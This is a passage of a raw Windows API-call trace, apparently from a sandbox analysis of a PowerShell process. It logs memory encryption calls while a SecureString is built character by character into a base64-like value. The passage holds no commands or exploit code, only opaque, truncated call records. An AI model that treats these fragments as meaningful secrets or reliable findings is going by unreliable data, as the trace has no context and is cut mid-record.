Memory=0x8e3164c) returned 0x0 [0127.427] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\x70f0\x26e\x60d4\x9222\x1ece\xd200\x4b6e\x11\xf002\x2d7c\x297d\x9aec\x76c0\x3c8c\x5e3\x87b7") returned 0x30 [0127.427] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\x70f0\x26e\x60d4\x9222\x1ece\xd200\x4b6e\x11\xf002\x2d7c\x297d\x9aec\x76c0\x3c8c\x5e3\x87b7") returned 0x30 [0127.427] SystemFunction041 (in: Memory=0x8e3164c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3164c) returned 0x0 [0127.428] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk5wERJqjYFyEDGoqzUct8唢㾎㞤닶") returned 0x30 [0127.428] SystemFunction040 (in: Memory=0x8e3164c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3164c) returned 0x0 [0127.428] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\x70f0\x26e\x60d4\x9222\x1ece\xd200\x4b6e\x11\x4779\xd428\x1f00\x84b3\x47cf\x1ef2\x528d\x276c") returned 0x30 [0127.428] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\x70f0\x26e\x60d4\x9222\x1ece\xd200\x4b6e\x11\x4779\xd428\x1f00\x84b3\x47cf\x1ef2\x528d\x276c") returned 0x30 [0127.428] SystemFunction041 (in: Memory=0x8e3164c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3164c) returned 0x0 [0127.428] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk5wERJqjYFyEDGoqzUct8=㾎㞤닶") returned 0x30 [0127.428] SystemFunction040 (in: Memory=0x8e3164c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3164c) returned 0x0 [0127.428] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae650*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae650*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.428] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea5c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.428] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.428] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae58c, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0127.428] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae964*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae964*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.428] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.428] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.429] SysStringLen (param_1="") returned 0x8 [0127.429] SysStringLen (param_1="Y") returned 0x8 [0127.429] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.429] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0127.429] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0127.429] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.429] SysStringLen (param_1="YW") returned 0x8 [0127.429] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.429] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0127.429] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0127.429] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.429] SysStringLen (param_1="YWM") returned 0x8 [0127.429] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.430] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0127.430] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0127.430] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.430] SysStringLen (param_1="YWM1") returned 0x8 [0127.430] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.430] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0127.430] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0127.430] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.430] SysStringLen (param_1="YWM1O") returned 0x8 [0127.430] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.430] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0127.430] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0127.430] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.430] SysStringLen (param_1="YWM1OT") returned 0x8 [0127.430] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.430] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0127.430] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0127.430] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.431] SysStringLen (param_1="YWM1OTE") returned 0x8 [0127.431] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.431] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0127.431] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0127.431] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.431] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0127.431] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.431] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0127.431] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0127.431] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0127.431] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0127.431] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.431] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0127.431] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.431] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0127.431] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0127.431] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.431] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0127.432] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.432] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0127.432] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0127.432] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.432] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0127.432] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.432] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0127.432] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0127.432] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.432] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0127.432] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.432] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0127.432] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0127.432] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.432] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0127.432] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.432] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0127.432] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0127.432] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.433] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0127.433] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.433] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0127.433] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0127.433] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.433] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0127.433] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.433] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0127.433] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0127.433] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.433] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0127.433] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.433] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0127.433] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0127.433] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0127.433] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0127.433] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.434] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0127.434] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.434] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0127.434] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0127.434] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.434] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0127.434] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.434] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0127.434] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0127.434] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.434] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0127.434] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.434] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0127.434] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0127.434] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.434] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0127.434] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.435] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0127.435] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0127.435] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.435] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0127.435] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.435] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0127.435] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0127.435] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.435] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0127.435] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.435] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0127.435] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0127.435] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.435] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0127.435] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.435] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0127.435] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0127.435] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.435] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0127.436] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.436] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0127.436] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0127.436] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0127.436] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0127.436] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.436] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0127.436] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.436] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0127.436] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0127.436] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.436] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0127.436] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.436] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0127.436] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0127.436] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.436] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0127.436] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.437] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0127.437] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0127.437] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.437] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0127.437] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.437] SysStringLen 